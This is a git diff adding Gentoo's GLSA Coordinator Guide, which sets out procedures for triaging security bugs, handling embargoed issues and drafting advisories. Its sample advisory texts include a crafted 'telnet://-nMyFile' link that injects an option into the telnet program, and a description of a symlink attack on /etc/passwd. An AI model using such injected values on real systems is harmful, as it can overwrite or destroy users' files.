;value3-0-0=sparc%40gentoo.org&amp;negate4=1&amp;field4-0-0=cc&amp;type4-0-0=substring&amp;value4-0-0=alpha%40gentoo.org&amp;negate5=1&amp;field5-0-0=cc&amp;type5-0-0=substring&amp;value5-0-0=hppa%40gentoo.org&amp;negate6=1&amp;field6-0-0=cc&amp;type6-0-0=substring&amp;value6-0-0=ppc64%40gentoo.org">Stale stable</uri>, display all open bugs that have "[stable]" in Whiteboard, but no arches in CC.</li>
+<li><uri link="https://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;product=Gentoo+Security&amp;long_desc_type=substring&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=glsa%3F&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailtype1=substring&amp;email1=&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;query_based_on=glsa%3F&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">GLSA vote</uri>, list of bugs that are fixed in the tree, bug have no GLSA decision yet.</li>
+<li><uri link="https://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;product=Gentoo+Security&amp;component=Auditing&amp;component=Vulnerabilities&amp;long_desc_type=substring&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=notregexp&amp;status_whiteboard=ebuild|upstream|glsa|masked|stable&amp;keywords_type=nowords&amp;keywords=tracker&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailtype1=substring&amp;email1=&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;query_based_on=unhandled&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">Unhandled bugs</uri>, bugs that are in no known Whiteboard state.</li>
+<li><uri link="https://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=notregexp&amp;short_desc=CVE&amp;product=Gentoo+Security&amp;component=Auditing&amp;component=Default+Configs&amp;component=GLSA+Errors&amp;component=Kernel&amp;component=Runpath+Issues&amp;component=Vulnerabilities&amp;long_desc_type=substring&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=nowords&amp;keywords=Tracker&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailtype1=substring&amp;email1=&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;query_based_on=no-cve&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">No CVE</uri>, bugs that carry no CVE identifier in their title.</li>
+</ul>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/security/en/coordinator_guide.xml b/xml/htdocs/security/en/coordinator_guide.xml
new file mode 100644
index 00000000..3f51374e
--- /dev/null
+++ b/xml/htdocs/security/en/coordinator_guide.xml
@@ -0,0 +1,1203 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/security/en/coordinator_guide.xml">
+<title>GLSA Coordinator Guide</title>
+<author title="Author">
+  <mail link="koon@gentoo.org">Thierry Carrez</mail>
+</author>
+<author title="Author">
+  <mail link="jaervosz@gentoo.org">Sune Kloppenborg Jeppesen</mail>
+</author>
+<author title="Author">
+  <mail link="vorlon@gentoo.org">Matthias Geerdsen</mail>
+</author>
+<author title="Author">
+  <mail link="rbu@gentoo.org">Robert Buchholz</mail>
+</author>
+
+<abstract>
+This document contains procedures, tips and tricks applying to the
+GLSA Coordinator job.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>0.8.8</version>
+<date>2008-05-09</date>
+
+<chapter>
+<title>Prerequisites</title>
+<section>
+<title>Accounts</title>
+<body>
+
+<p>
+A certain number of accounts must be established before working as a GLSA
+coordinator. To draft GLSAs you must get a
+<uri link="https://glsamaker.gentoo.org:4433/">GLSAMaker</uri> account. To
+manage security bugs you need to have a
+<uri link="https://bugs.gentoo.org">Bugzilla</uri> account, which will be
+upgraded to <c>editbugs</c> privileges. To send GLSA announcements you
+need to have a yourname@gentoo.org address (i.e. to be a Gentoo developer).
+This address should be allowed to send to gentoo-announce.
+To commit XML GLSAs you need your developer account to be upgraded with
+commit access to the GLSA directory in the <c>gentoo</c> CVS repository.
+Finally you need an IRC name. You will be required to hang out in the
+#gentoo-security channel whenever you're available online.
+</p>
+
+<note>
+All the names used should be consistent in order to allow easy identification.
+</note>
+
+</body>
+</section>
+<section>
+<title>GPG key</title>
+<body>
+
+<p>
+You must create a GPG key for your yourname@gentoo.org email address. You
+can either create a specific key or add the gentoo.org address to an
+existing key. The key ID should be <uri
+link="/proj/en/infrastructure/ldap.xml">set in the LDAP</uri>, and you
+should check
+that your name and key ID appears on the
+<uri
+link="/proj/en/devrel/roll-call/userinfo.xml">developer
+list</uri>. It is very important that the key is published at least on
+the <uri link="http://subkeys.pgp.net:11371">subkeys.pgp.net</uri> keyserver.
+It can also be submitted on other keyservers.
+</p>
+
+</body>
+</section>
+<section>
+<title>Environment</title>
+<body>
+
+<p>
+You must setup a CVS environment on your home machine to be able to commit
+your GLSAs to the tree. 
+This is done by checking out a part of the <c>gentoo</c> CVS repository to a
+given directory (for example ~/gentoo_cvs):
+</p>
+
+<pre caption="Setup CVS environment">
+you@home you $ <i>mkdir gentoo_cvs</i>
+you@home you $ <i>cd gentoo_cvs</i>
+you@home gentoo_cvs $ <i>export CVS_RSH="ssh"</i>
+you@home gentoo_cvs $ <i>export CVSROOT="yourname@cvs.gentoo.org:/var/cvsroot"</i>
+you@home gentoo_cvs $ <i>cvs checkout gentoo/xml/htdocs/security</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Mailing-list subscriptions</title>
+<body>
+
+<p>
+To be able to post to the lists where we publish our GLSAs, you must
+subscribe your yourname@gentoo.org address to them:
+</p>
+
+<table>
+  <tr>
+    <th>List</th>
+    <th>Subscription page</th>
+  </tr>
+  <tr>
+     <ti>bugtraq@securityfocus.com</ti>
+     <ti><uri>http://www.securityfocus.com/archive</uri></ti>
+  </tr>
+  <tr>
+     <ti>full-disclosure@lists.grok.org.uk</ti>
+     <ti><uri>https://lists.grok.org.uk/mailman/listinfo/full-disclosure</uri></ti>
+  </tr>
+</table>
+
+<note>
+You can subscribe to a digest version of Full-Disclosure.
+</note>
+
+<p>
+As a security developer, you will be added to the gentoo-core list and
+security@gentoo.org alias. You should also subscribe to gentoo-announce,
+gentoo-dev and gentoo-security.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Security bug types and Bugzilla components</title>
+<section>
+<body>
+
+<p>
+All security bugs are located in the <c>Gentoo Security</c> Bugzilla product.
+If you find a security bug which does not have the correct product name,
+please fix it immediately. There are several different types of security bugs,
+and each has its own component.
+</p>
+
+</body>
+</section>
+<section>
+<title>Vulnerability</title>
+<body>
+
+<p>
+Vulnerabilities are security bugs in the upstream software or introduced in
+the Gentoo ebuild packaging. These bugs result in GLSAs. Kernel bugs have
+their own category and should not filed as <c>Vulnerability</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Kernel</title>
+<body>
+
+<p>
+Kernel vulnerabilities are treated using a separate procedure. To easily
+distinguish them from the other bugs, they are filed under the <c>Kernel</c>
+category. Kernel bugs do not result in GLSAs but have their own publication
+system (Gentoo KISS).
+</p>
+
+</body>
+</section>
+<section>
+<title>Default config</title>
+<body>
+
+<p>
+Gentoo packages should be as secure by default as possible. Default
+configuration bugs are filed when the default configuration shipped with the
+package can be improved in terms of security. <c>Default config</c> bugs do
+not generate GLSAs.
+</p>
+
+</body>
+</section>
+<section>
+<title>Auditing</title>
+<body>
+
+<p>
+Vulnerabilities that are found by Gentoo developers should be double-checked
+before going out in the open (to upstream developers or security lists). They
+are filed as Confidential Bugs (see below) and with the <c>Auditing</c>
+component. When the finding has been verified they are switched to
+<c>Vulnerability</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Restricted bugs</title>
+<body>
+
+<p>
+Sometimes a bug is communicated to us under the promise we'll keep it secret
+until a public release, usually known as the embargo date or coordinated release date.
+Restricted bugs have the "Gentoo Security" checkbox
+checked and therefore can only be accessed by Gentoo Security Team members.
+External people (package maintainer, arch testers, Release Engineering) may be
+added on a per-name basis, aliases should never be used (because they are too
+wide and won't allow bug comments).
+</p>
+
+<p>
+There are three different types of restricted bugs. The first (and most secret)
+ones are the <c>CLASSIFIED</c> bugs. A bug is classified when it contains
+information that should never be released. This includes quotes of personal
+emails sent to restricted mailing-lists or non-public intermediary patches.
+Classified bugs are identified by the <c>CLASSIFIED</c> keyword in their Status
+Whiteboard. Once CLASSIFIED, a bug cannot go back to unclassified status unless
+at least two security managers agree to declassify it.
+<c>CLASSIFIED</c> bugs should never be opened (unrestricted).
+</p>
+
+<p>
+The second type of restricted bugs is <c>CONFIDENTIAL</c> bugs. These are bugs
+that contain information that should be kept secret until an agreed-upon
+coordinated release date. No part of the bug (affected package name,
+description, proposed patch or whatever) should ever leak outside the bug.
+Patches must NOT be committed to portage CVS.
+</p>
+
+<p>
+The third (and less secret) type of restricted bugs is the <c>SEMI-PUBLIC</c>
+bugs. Semi-public bugs should be kept secret, but patches may be committed to
+portage. This is generally when the vulnerability is not known to the general
+public but could be accessed by anyone (patch in upstream CVS for example).
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Public vulnerability bug management</title>
+<section>
+<title>Status whiteboard rules</title>
+<body>
+
+<p>
+The status whiteboard in Bugzilla lets us keep track of the security bug
+resolution steps. It should be following this pattern: "RATING [status]
+coordinator", where:
+</p>
+
+<table>
+<tr>
+<th>Element</th>
+<th>Content</th>
+<th>Example</th>
+</tr>
+<tr>
+<ti>RATING</ti>
+<ti>The vulnerability rating, following current policy rules</ti>
+<ti>B3</ti>
+</tr>
+<tr>
+<ti>[status]</ti>
+<ti>The bug status, with optional extra information</ti>
+<ti>[ebuild+]</ti>
+</tr>
+<tr>
+<ti>coordinator</ti>
+<ti>The nickname of the coordinator assigned to the bug, optional</ti>
+<ti>koon</ti>
+</tr>
+</table>
+
+<p>
+The following statuses are accepted:
+</p>
+
+<table>
+<tr>
+<th>Status</th>
+<th>Description</th>
+</tr>
+<tr>
+<ti>upstream</ti>
+<ti>Waiting for upstream developer to publish a new version or patch</ti>
+</tr>
+<tr>
+<ti>upstream+</ti>
+<ti>No response from upstream</ti>
+</tr>
+<tr>
+<ti>ebuild</ti>
+<ti>Waiting for the Gentoo package maintainer to provide a fixed ebuild</ti>
+</tr>
+<tr>
+<ti>ebuild+</ti>
+<ti>No response from the maintainer, considering a security bump</ti>
+</tr>
+<tr>
+<ti>stable</ti>
+<ti>Waiting for arches to mark the package with the appropriate keywords</ti>
+</tr>
+<tr>
+<ti>stable+</ti>
+<ti>Some arches are taking too long to mark the package appropriately</ti>
+</tr>
+<tr>
+<ti>glsa?</ti>
+<ti>Security must make a decision on whether a GLSA is needed</ti>
+</tr>
+<tr>
+<ti>glsa</ti>
+<ti>Waiting for the coordinator to send his GLSA</ti>
+</tr>
+<tr>
+<ti>glsa+</ti>
+<ti>The GLSA is late, any GLSA coordinator can correct and send it</ti>
+</tr>
+</table>
+
+<p>
+The following extra information is admitted:
+</p>
+
+<table>
+<tr>
+<th>Extra information</th>
+<th>Description</th>
+<th>Corresponding statuses</th>
+</tr>
+<tr>
+<ti>tomask</ti>
+<ti>When a package.mask has been requested against the package</ti>
+<ti>upstream+, ebuild+</ti>
+</tr>
+<tr>
+<ti>masked</ti>
+<ti>if the package was masked as a temporary solution</ti>
+<ti>upstream+, ebuild+</ti>
+</tr>
+<tr>
+<ti>Arch names</ti>
+<ti>When only one or two supported arches are blocking the bug</ti>
+<ti>stable+</ti>
+</tr>
+<tr>
+<ti>tempglsa</ti>
+<ti>When a temporary GLSA was issued as a temporary solution</ti>
+<ti>upstream+, ebuild+</ti>
+</tr>
+<tr>
+<ti>blocked</ti>
+<ti>When the bug is blocked by another bug</ti>
+<ti>(any)</ti>
+</tr>
+</table>
+
+<p>
+Examples:
+</p>
+
+<table>
+<tr>
+<ti>C0 [stable]</ti>
+</tr>
+<tr>
+<ti>A3 [ebuild] jaervosz</ti>
+</tr>
+<tr>
+<ti>B1 [stable+ amd64] koon</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Determining original bug status</title>
+<body>
+
+<p>
+When the fix is not available from the upstream developer and/or there is
+no official patch to solve the problem, the bug is in [upstream] status. If
+the solution must be found amongst Gentoo developers, the bug is in [inhouse]
+status. If a fix is available, the bug is in [ebuild] status.
+If a fix ebuild is put
+in the portage tree, the bug is in [stable] status. When the fix ebuild is
+in portage with all required keywords set, the bug is in [glsa] status.
+</p>
+
+</body>
+</section>
+<section>
+<title>Bugs in [upstream] status</title>
+<body>
+
+<p>
+In [upstream] status, we wait for the fix version or a decent patch to
+appear. This status requires to regularly check upstream for information:
+development and announce mailing lists, websites, Bugs database, CVS when
+available, are all relevant sources of information. Unofficial patches must
+be taken into account only if the upstream developer does not react to the
+vulnerability, and they must be thoroughly double-checked to ensure they
+are not evil. When a fix version is announced or a patch is found, the bug
+enters [ebuild] status.
+</p>
+
+<p>
+If there is no reaction from upstream and no patch, we enter [upstream+]
+status. The only option here is to security-mask the vulnerable package
+and issue a temporary GLSA if needed. See the policy for more details on the
+security masking approval procedure. The status whiteboard should then be
+flagged with masked and/or tempglsa keywords and bug severity set to
+<c>enhancement</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Bugs in [ebuild] status</title>
+<body>
+
+<p>
+In [ebuild] status, we must identify the maintainer of the package, and
+summon him to commit a fix ebuild. Sources to identify the herd or developer
+responsible for maintaining a package are the metadata.xml file in the
+directory of the package in portage and the Changelog file showing who did the
+latest version bumps. You should Cc: the herd and/or maintainer responsible
+for the package on the bug and ask him to provide an ebuild for the fix
+version. You should periodically check that an ebuild wasn't committed
+to portage without any comment on the bug (it happens). When the ebuild
+appears, the bug enters [stable] status.
+</p>
+
+<p>
+If the maintainer doesn't show up, we enter [ebuild+] status. In case a fixed
+version is available, you should test if a simple version bump (renaming the 
+ebuild to the version and emerging it) works. If only a patch is available, you
+should test if it applies cleanly. Then you should find a security bug wrangler
+with x86 commit rights to do the bump and mark the ebuild ~ for testing.
+</p>
+
+<p>
+If the bump is not easy and/or any problem is detected with the bumped ebuild,
+the only option is to security-mask the unmaintained package and issue a
+temporary GLSA if needed. See the policy for more details on the
+security masking approval procedure. The status whiteboard should then be
+flagged with masked and/or tempglsa keywords and bug severity set to
+<c>enhancement</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Bugs in [stable] status</title>
+<body>
+
+<p>
+In [stable] status, you have to determine what KEYWORDS the provided ebuild
+needs before the GLSA can go out. This can be tricky. You have to consider
+every version currently in portage so that the fix ebuild has <e>equally or
+more stable</e> keywords than any other packages in portage. Here is an
+example:
+</p>
+
+<table>
+<tr>
+<th>Versions</th>
+<th>Keywords</th>
+</tr>
+<tr>
+<ti>Affected</ti>
+<ti>x86 ~ppc ~ia64</ti>
+</tr>
+<tr>
+<ti>Affected</ti>
+<ti>x86 ppc</ti>
+</tr>
+<tr>
+<ti>Affected</ti>
+<ti>~x86 ~ppc ~ia64</ti>
+</tr>
+<tr>
+<ti>Fix must have:</ti>
+<th>x86 ppc ~ia64</th>
+</tr>
+</table>
+
+<note>
+You can use <uri>http://packages.gentoo.org</uri> to help you determine
+the needed KEYWORDS. If affected packages were removed by the package
+maintainer too early, you should use the
+<uri link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/">CVS access</uri>
+to dig in the Attic and look for old KEYWORDS.
+</note>
+
+<p>
+Once determined (and noted for reference on the bug) the needed KEYWORDS,
+you should Cc: arch teams and ask them to mark the ebuild stable or ~
+accordingly. To make sure that the arch teams will pick the bug up, don't forget
+to add "STABLEREQ" to the bug's "Keywords" field. The arches alias are
+archname@gentoo.org (x86@gentoo.org, ppc@gentoo.org...). All arches (including
+"unsupported" arches) must be called. But note that only "supported" arches (as
+defined in the policy) are needed before the bug can advance to [glsa] status
+You should periodically check for new keywords in the ebuild, as sometimes they
+are changed without a comment in the bug. As soon as the required KEYWORDS
+are in the ebuild for all supported arches, the bug enters [glsa] status.
+</p>
+
+<p>
+During a release preparation period you should also Cc: Release Engineering
+(release@gentoo.org) on all bugs with [stable] status.
+</p>
+
+<p>
+If the arch teams take too much time testing and changing the KEYWORDS, or
+they refuse to mark stable a package due to outstanding problems, the bug
+enters [stable+] status. We must track down arch-maintainers to have them
+mark stable, help testing. You should also convince the arches that if they
+discover a bug in the ebuild that already was in previous "stable" versions,
+the ebuild should be marked "stable" anyway, even if it's not really stable,
+as specified in the policy. If the KEYWORDS can't be met, the only other
+option is to security-mask the package: there is no acceptable unaffected
+version, so it is like if no acceptable upstream fix was provided.
+</p>
+
+</body>
+</section>
+<section>
+<title>Bugs in [glsa] status</title>
+<body>
+
+<p>
+In [glsa] status, the security bug is corrected. We need to issue the GLSA
+or close the bug without GLSA. The policy determines the cases where a GLSA
+is needed and where a GLSA is not needed. There are also cases where a GLSA
+vote must take place to decide if a GLSA is needed ([glsa?] status).
+If at least two Security Team members vote for "no GLSA", then no GLSA should
+be issued. The bug remains in [glsa] status until a GLSA is published.
+</p>
+
+<p>
+When a GLSA is needed but nothing was sent, the bug enters [glsa+] status.
+It's the case when the assigned GLSA coordinator did not draft and/or
+made peer-reviewed and/or sent his GLSA. Other members of the Security Team
+should take the lead at this point and finalize the GLSA.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Confidential vulnerability bug management</title>
+<section>
+<title>Status whiteboard rules</title>
+<body>
+
+<p>
+Confidential bugs should be following this pattern: "RATING [status]
+coordinator KEYWORD CRD", where:
+</p>
+
+<table>
+<tr>
+<th>Element</th>
+<th>Content</th>
+<th>Example</th>
+</tr>
+<tr>
+<ti>RATING</ti>
+<ti>The vulnerability rating, following current policy rules</ti>
+<ti>B3</ti>
+</tr>
+<tr>
+<ti>[status]</ti>
+<ti>The bug status, with optional extra information</ti>
+<ti>[ebuild+]</ti>
+</tr>
+<tr>
+<ti>coordinator</ti>
+<ti>The nickname of the coordinator assigned to the bug, optional</ti>
+<ti>koon</ti>
+</tr>
+<tr>
+<ti>KEYWORD</ti>
+<ti>The confidentiality level of the bug, can be CLASSIFIED, CONFIDENTIAL, SEMI-PUBLIC</ti>
+<ti>CLASSIFIED</ti>
+</tr>
+<tr>
+<ti>CRD</ti>
+<ti>The coordinated release date for the bugs disclosure. If no time is given, assume 14:00 UTC.</ti>
+<ti>2009-01-06 18:00 UTC</ti>
+</tr>
+
+</table>
+
+<p>
+The following extra statuses are accepted in confidential bugs:
+</p>
+
+<table>
+<tr>
+<th>Status</th>
+<th>Description</th>
+</tr>
+<tr>
+<ti>preebuild</ti>
+<ti>Specific package maintainer has been called to prepare an ebuild which
+    must not be committed in the CVS tree, but attached to the bug</ti>
+</tr>
+<tr>
+<ti>prestable</ti>
+<ti>Specific arch testers has been called to test a not-yet-public ebuild</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Handling confidential bugs</title>
+<body>
+
+<p>
+Semi-public bugs should be handled as public bugs, except that no herd or arch
+alias should be Cc-ed on the bug but rather specific developers.
+</p>
+
+<p>
+Confidential and classified bugs need extra care. The ebuild and files fixing
+the vulnerability should NOT be committed to portage CVS, and no part of those
+bugs should ever be discussed in public. Patches or portage overlay tarballs
+can be attached to the bug, though. Testers will have to setup their own
+overlay to test it.
+The idea with those bugs is to prepare the ebuild and have it tested for the
+coordinated release date, so that it can be released with all needed KEYWORDS
+together with the GLSA at the same time the issue goes public.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>GLSA drafting with GLSAMaker</title>
+<section>
+<title>General rules</title>
+<body>
+
+<p>
+The GLSA should use the affected software name with proper capitalization, not
+the Gentoo package name. For example, you should use "MySQL" and not "mysql".
+Lowercase names should be used only if the software has an all-lowercase name
+or if the software is identified by its command name ("traceroute").
+</p>
+
+<p>
+You should not copy any part of any existing advisory, but you may use
+them as sources of information for our GLSA. If you copy, for example a
+software description, from a website, please use a citation and quotes.
+</p>
+
+</body>
+</section>
+<section>
+<title>Title, Synopsis, Keywords</title>
+<body>
+
+<p>
+The title must be short (&lt; 60 characters in most cases) and have the application
+name (not category) in front. It should allow to clearly identify the
+vulnerability, without getting into any details. Version should be left out,
+except in rare cases where it allows to identify the package more clearly.
+Multiple affected packages should be separated by a comma. Examples include:
+</p>
+
+<table>
+<tr>
+<ti>MySQL: Insecure temporary file creation</ti>
+</tr>
+<tr>
+<ti>Exim: verify=header_syntax buffer overflow</ti>
+</tr>
+<tr>
+<ti>Apache 1.3: Heap overflow in mod_redirect</ti>
+</tr>
+<tr>
+<ti>MPlayer, xine-lib: Vulnerabilities in RTSP stream handling</ti>
+</tr>
+</table>
+
+<p>
+Synopsis is a short (&lt; 160 characters), but complete, description of the
+vulnerability. People reading only the Synopsis should get a good idea what
+the vulnerability is and what impact it has. Examples include:
+</p>
+
+<table>
+<tr>
+<ti>Two MySQL utilities create temporary files with hardcoded paths, allowing
+an attacker to use a symlink to trick MySQL into overwriting important
+data.</ti>
+</tr>
+<tr>
+<ti>Multiple vulnerabilities, including remotely exploitable buffer overflows,
+have been found in code common to MPlayer and the xine library.</ti>
+</tr>
+</table>
+
+<p>
+The GLSA keyword category is typically set to "Ebuild" and should contain the
+name of the main software vulnerable (for example, "MySQL"). Other keyword
+types include "Portage" (for portage bugs) and "Infrastructure" (for server
+compromises).
+</p>
+
+</body>
+</section>
+<section>
+<title>Access, Severity</title>
+<body>
+
+<p>
+Access should be "Local" or "Remote". Local
+vulnerabilities can be carried out only by a local user of the system. For
+example it implies to run a specific executable to elevate privileges, or access
+to a temporary directory to run a symlink attack. Remote vulnerabilities are
+those that can be exploited by an attacker with or without an account on the
+system. Remote vulnerabilities can either be active (exploiting a listening
+server by sending malicious queries) or passive (enticing a user to connect
+client software to a malicious server or to open malicious files).
+</p>
+
+<p>
+Severity is an indication of how deep the vulnerability is. It is defined in
+the Vulnerability Treatment Policy, in the table "Evaluate the vulnerability
+type". Note that it depends only on
+the maximum risk, not on the commonality of the configuration option at risk.
+A buffer overflow allowing arbitrary code execution in a rare client software,
+only when it uses a specific configuration option, theoretically remains a "High"
+severity. A denial of service on all configurations of Apache theoretically
+remains a "Normal" severity. In rare cases the severity may be adjusted, when
+several members of the Security Team agree, to a more relevant level. For
+example, a vulnerability allowing defacement of web sites on Apache and all
+configurations should probably be "High" rather than "Normal".
+</p>
+
+</body>
+</section>
+<section>
+<title>Unaffected, Vulnerable packages</title>
+<body>
+
+<p>
+This section provides information about versions of packages that are
+unaffected or vulnerable to the vulnerability described in this advisory.
+You should pay special attention to those numbers as they are one of the
+few areas where mistakes imply an errata publication.
+</p>
+
+<p>
+There are the different fields composing an version entry. The package name
+field must list the category and package name ("net-mail/exim"). Regarding
+the "Architectures" field, you should put "*" in it when
+the version description applies to all the arches marked in the ebuild.
+You should use multiple entries for different arches if the version
+description is different from arch to arch.
+The "Auto" field must be set to true if the package is upgradeable
+by emerge. For the version fields, there are multiple cases.
+</p>
+
+<impo>
+In this section (and only in this section), the architectures should be
+written as they appear in the KEYWORDS (i.e. "x86", "amd64", "sparc"...),
+and not in uppercase.
+</impo>
+
+<p>
+The simple case is when the vulnerability is present in all old versions,
+and is fixed in all versions newer than a specific fix version. In this case,
+you should use "&gt;= first fixed version" as unaffected and "&lt;= last
+affected version" as vulnerable. You should double-check that there was no
+ebuild between the last affected version and the first fixed version. When in
+doubt, you should use "&gt;= first fixed version" as unaffected and "&lt; first
+fix version" as vulnerable.
+</p>
+
+<p>
+A more complex case is when the vulnerability is present only in a few recent
+versions. Let's take the example of a package where 1.2.8-r2 was not affected,
+1.2.9, 1.2.9-r1 and 1.2.9-r2 were affected, and 1.2.10 is fixed. In this case
+there are two possibilities:
+</p>
+
+<table>
+<tr>
+<th>Unaffected</th>
+<th>Vulnerable</th>
+</tr>
+<tr>
+<ti>&gt;=1.2.10</ti>
+<ti>==1.2.9 ==1.2.9-r1 ==1.2.9-r2</ti>
+</tr>
+<tr>
+<ti>&lt;=1.2.8-r2 &gt;=1.2.10</ti>
+<ti>&lt;1.2.10</ti>
+</tr>
+</table>
+
+<p>
+Finally, when the package has no fixed version, you should omit the
+"Unaffected" entry for that package and set "Auto" to "no".
+</p>
+
+<impo>
+When the fix versions are complex, you should double-check that the XML and
+TXT versions of the GLSA list your versions correctly.
+</impo>
+
+</body>
+</section>
+<section>
+<title>Background, Description, Impact</title>
+<body>
+
+<p>
+The Background section gives information about the package at risk. It describes
+briefly what it is and gives any information that is helpful in understanding
+the part of the package vulnerable. The Background section should be shorter
+than the Description section or the Impact section. Good examples include:
+</p>
+
+<table>
+<tr>
+<ti>The K Desktop Environment (KDE) is a powerful Free Software graphical
+desktop environment. KDE makes use of URI handlers to trigger various
+programs when specific URLs are received.</ti>
+</tr>
+<tr>
+<ti>CVS (Concurrent Versions System) is an open-source network-transparent
+version control system. It contains both a client utility and a server.</ti>
+</tr>
+<tr>
+<ti>Metamail is a program that decodes MIME encoded mail. It is therefore
+often automatically called when an email is received or read.</ti>
+</tr>
+</table>
+
+<p>
+The Description section details what the vulnerability is, without telling what
+happens when it is exploited. It should be understandable by people without
+too much security background. Sometimes there is no information about the
+vulnerability at all, in which cases you should let the description short. 
+Good examples include:
+</p>
+
+<table>
+<tr>
+<ti>The telnet URI handler in Opera does not check for leading '-' characters
+in the host name. Consequently, a maliciously-crafted telnet:// link may be
+able to pass options to the telnet program itself. One example would be 
+"telnet://-nMyFile" If MyFile exists in the user's home directory and the
+user clicking on the link has write permissions to it, the contents of the
+file will be overwritten with the output of the telnet trace information. If 
+MyFile does not exist, the file will be created in the user's home
+directory.</ti>
+</tr>
+<tr>
+<ti>The MySQL bug reporting utility (mysqlbug) creates a temporary file to
+log bug reports to. A malicious local user with write access to the /tmp
+directory could create a symbolic link of the name mysqlbug-N pointing to a
+protected file, such as /etc/passwd, such that when mysqlbug creates the Nth
+log file, it would end up overwriting the target file. A similar
+vulnerability exists with the mysql_multi utility, which creates a temporary 
+file called mysql_multi.log.</ti>
+</tr>
+<tr>
+<ti>Multiple vulnerabilities have been found and fixed in the RTSP handling
+code common to recent versions of these two packages. These vulnerabilities
+include several remotely exploitable buffer overflows.</ti>
+</tr>
+</table>
+
+<p>
+The Impact section describes the global impact of the vulnerabilities described
+in the Description section, when exploited. It should focus on the maximum risk.
+Good examples:
+</p>
+
+<table>
+<tr>
+<ti>A remote attacker, posing as a RTSP stream server, can execute arbitrary
+code with the rights of the user of the software playing the stream (MPlayer 
+or any player using xine-lib). Another attacker may entice a user to use a 
+maliciously crafted URL or playlist to achieve the same results.</ti>
+</tr>
+<tr>
+<ti>This vulnerability has two possible impacts. First, it may create new files in 
+the user's home directory. Second, and far more serious, it may overwrite 
+existing files that the user has write permissions to. An attacker with some 
+knowledge of a user's home directory might be able to destroy important 
+files stored within.</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Workaround, Resolution</title>
+<body>
+
+<p>
+The workaround describes if there is any simple way (other than upgrading
+to the fix version) of avoiding to be vulnerable. Good examples include:
+</p>
+
+<table>
+<tr>
+<ti>For a temporary workaround, providing you do not require Kerberos 4
+support, you may turn off Kerberos 4 kadmin by running kadmind with the
+--no-kerberos4 option.</ti>
+</tr>
+<tr>
+<ti>There is no known workaround at this time.</ti>
+</tr>
+</table>
+
+<p>
+The Resolution section explains in human-readable terms what you have to do
+to be fully protected against the vulnerability. This section must look like
+this:
+</p>
+
+<pre caption="Resolution example">
+All Heimdal users should upgrade to the latest stable version:
+&lt;code&gt;
+# emerge --sync
+# emerge --ask --oneshot --verbose "&gt;=app-crypt/heimdal-0.6.2"
+</pre>
+
+<p>
+If there are multiple architectures, it should look like this:
+</p>
+
+<pre caption="Multiple arch example">
+OpenOffice.org users on the SPARC architecture should:
+&lt;code&gt;
+# emerge --sync
+# emerge --ask --oneshot --verbose "&gt;=app-office/openoffice-1.1.0-r3"
+&lt;/code&gt;
+&lt;/p&gt;
+&lt;p&gt;
+OpenOffice.org users on the PPC architecture should:
+&lt;/p&gt;
+&lt;code&gt;
+# emerge --sync
+# emerge --ask --oneshot --verbose "&gt;=app-office/openoffice-1.0.3-r1"
+</pre>
+
+<p>
+If the GLSA is about a shared library, you should include the following
+paragraph at the end of the Resolution section to warn about the
+necessity to rebuild linked executables:
+</p>
+
+<table>
+<tr>
